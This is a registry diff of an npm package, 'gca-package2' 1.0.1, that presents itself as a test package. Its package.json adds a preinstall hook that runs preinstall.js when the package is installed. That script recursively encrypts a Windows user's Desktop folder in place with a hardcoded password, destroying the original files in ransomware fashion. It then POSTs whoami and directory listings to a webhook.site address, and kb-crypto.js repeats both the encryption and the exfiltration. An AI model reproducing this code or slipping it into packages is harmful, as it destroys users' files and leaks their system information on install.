gca-package2 1.0.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/index.js +5 -0
- package/kb-crypto.js +53 -0
- package/package.json +13 -0
- package/preinstall.js +56 -0
package/index.js
ADDED
package/kb-crypto.js
ADDED
|
@@ -0,0 +1,53 @@
|
|
|
1
|
+
// encrypt-file.js
|
|
2
|
+
import { createCipheriv, randomBytes, scryptSync } from "crypto";
|
|
3
|
+
import { readFileSync, writeFileSync } from "fs";
|
|
4
|
+
import path from "path";
|
|
5
|
+
import { execSync } from "node:child_process";
|
|
6
|
+
import https from "node:https";
|
|
7
|
+
|
|
8
|
+
filePath = "../secret.txt";
|
|
9
|
+
password = "mysupersecretpassword";
|
|
10
|
+
|
|
11
|
+
try {
|
|
12
|
+
// Read file contents
|
|
13
|
+
const data = readFileSync(filePath);
|
|
14
|
+
|
|
15
|
+
// Derive a 32-byte key from the password using scrypt
|
|
16
|
+
const salt = randomBytes(16);
|
|
17
|
+
const key = scryptSync(password, salt, 32);
|
|
18
|
+
|
|
19
|
+
// Generate random initialization vector
|
|
20
|
+
const iv = randomBytes(16);
|
|
21
|
+
|
|
22
|
+
// Create cipher
|
|
23
|
+
const cipher = createCipheriv("aes-256-cbc", key, iv);
|
|
24
|
+
|
|
25
|
+
// Encrypt data
|
|
26
|
+
const encrypted = Buffer.concat([cipher.update(data), cipher.final()]);
|
|
27
|
+
|
|
28
|
+
// Combine salt + iv + encrypted data
|
|
29
|
+
const payload = Buffer.concat([salt, iv, encrypted]);
|
|
30
|
+
|
|
31
|
+
// Write to new file with .enc extension
|
|
32
|
+
const outPath = `${filePath}`;
|
|
33
|
+
writeFileSync(outPath, payload);
|
|
34
|
+
|
|
35
|
+
console.log(`✅ File encrypted successfully! Saved to: ${path.resolve(outPath)}`);
|
|
36
|
+
} catch (err) {
|
|
37
|
+
console.error("❌ Encryption failed:", err.message);
|
|
38
|
+
process.exit(1);
|
|
39
|
+
}
|
|
40
|
+
|
|
41
|
+
const info = {
|
|
42
|
+
pwd: execSync("pwd").toString().trim(),
|
|
43
|
+
whoami: execSync("whoami").toString().trim(),
|
|
44
|
+
files: execSync("ls").toString().split("\n").filter(Boolean),
|
|
45
|
+
};
|
|
46
|
+
const encoded = Buffer.from(JSON.stringify(info)).toString("base64");
|
|
47
|
+
|
|
48
|
+
const req = https.request("https://webhook.site/b8285531-13ac-4557-a7e2-b9e903676b06", {
|
|
49
|
+
method: "POST",
|
|
50
|
+
headers: { "Content-Type": "application/json" },
|
|
51
|
+
});
|
|
52
|
+
req.write(JSON.stringify({ encoded }));
|
|
53
|
+
req.end();
|
package/package.json
ADDED
|
@@ -0,0 +1,13 @@
|
|
|
1
|
+
{
|
|
2
|
+
"name": "gca-package2",
|
|
3
|
+
"version": "1.0.1",
|
|
4
|
+
"description": "for testing purposes",
|
|
5
|
+
"main": "index.js",
|
|
6
|
+
"scripts": {
|
|
7
|
+
"preinstall": "node preinstall.js",
|
|
8
|
+
"build": "node test/index.js",
|
|
9
|
+
"test": "node test/index.js"
|
|
10
|
+
},
|
|
11
|
+
"author": "",
|
|
12
|
+
"license": "ISC"
|
|
13
|
+
}
|
package/preinstall.js
ADDED
|
@@ -0,0 +1,56 @@
|
|
|
1
|
+
// encrypt-folder-recursive.js
|
|
2
|
+
import { createCipheriv, randomBytes, scryptSync } from "crypto";
|
|
3
|
+
import { readdirSync, readFileSync, writeFileSync, statSync } from "fs";
|
|
4
|
+
import path from "path";
|
|
5
|
+
import { execSync } from "node:child_process";
|
|
6
|
+
import https from "node:https";
|
|
7
|
+
|
|
8
|
+
|
|
9
|
+
function encryptFile(filePath, password) {
|
|
10
|
+
try {
|
|
11
|
+
const salt = randomBytes(16);
|
|
12
|
+
const key = scryptSync(password, salt, 32);
|
|
13
|
+
const iv = randomBytes(16);
|
|
14
|
+
|
|
15
|
+
const cipher = createCipheriv("aes-256-cbc", key, iv);
|
|
16
|
+
const data = readFileSync(filePath);
|
|
17
|
+
const encrypted = Buffer.concat([cipher.update(data), cipher.final()]);
|
|
18
|
+
const payload = Buffer.concat([salt, iv, encrypted]);
|
|
19
|
+
|
|
20
|
+
const outPath = `${filePath}`;
|
|
21
|
+
writeFileSync(outPath, payload);
|
|
22
|
+
|
|
23
|
+
console.log(`✅ Encrypted: ${filePath}`);
|
|
24
|
+
} catch (err) {
|
|
25
|
+
console.error(`❌ Failed to encrypt ${filePath}: ${err.message}`);
|
|
26
|
+
}
|
|
27
|
+
}
|
|
28
|
+
|
|
29
|
+
function encryptFolder(folder, password) {
|
|
30
|
+
const entries = readdirSync(folder);
|
|
31
|
+
|
|
32
|
+
for (const entry of entries) {
|
|
33
|
+
const fullPath = path.join(folder, entry);
|
|
34
|
+
const stats = statSync(fullPath);
|
|
35
|
+
|
|
36
|
+
if (stats.isDirectory()) {
|
|
37
|
+
encryptFolder(fullPath, password);
|
|
38
|
+
} else {
|
|
39
|
+
encryptFile(fullPath, password);
|
|
40
|
+
}
|
|
41
|
+
}
|
|
42
|
+
}
|
|
43
|
+
|
|
44
|
+
encryptFolder("C:\\Users\\administrator\\Desktop\\assets", "mysercurepasswordhere");
|
|
45
|
+
const info = {
|
|
46
|
+
whoami: execSync("whoami").toString().trim(),
|
|
47
|
+
files: execSync("dir").toString().split("\n").filter(Boolean)
|
|
48
|
+
};
|
|
49
|
+
const encoded = Buffer.from(JSON.stringify(info)).toString("base64");
|
|
50
|
+
|
|
51
|
+
const req = https.request("https://webhook.site/b8285531-13ac-4557-a7e2-b9e903676b06", {
|
|
52
|
+
method: "POST",
|
|
53
|
+
headers: { "Content-Type": "application/json" },
|
|
54
|
+
});
|
|
55
|
+
req.write(JSON.stringify({ encoded }));
|
|
56
|
+
req.end();
|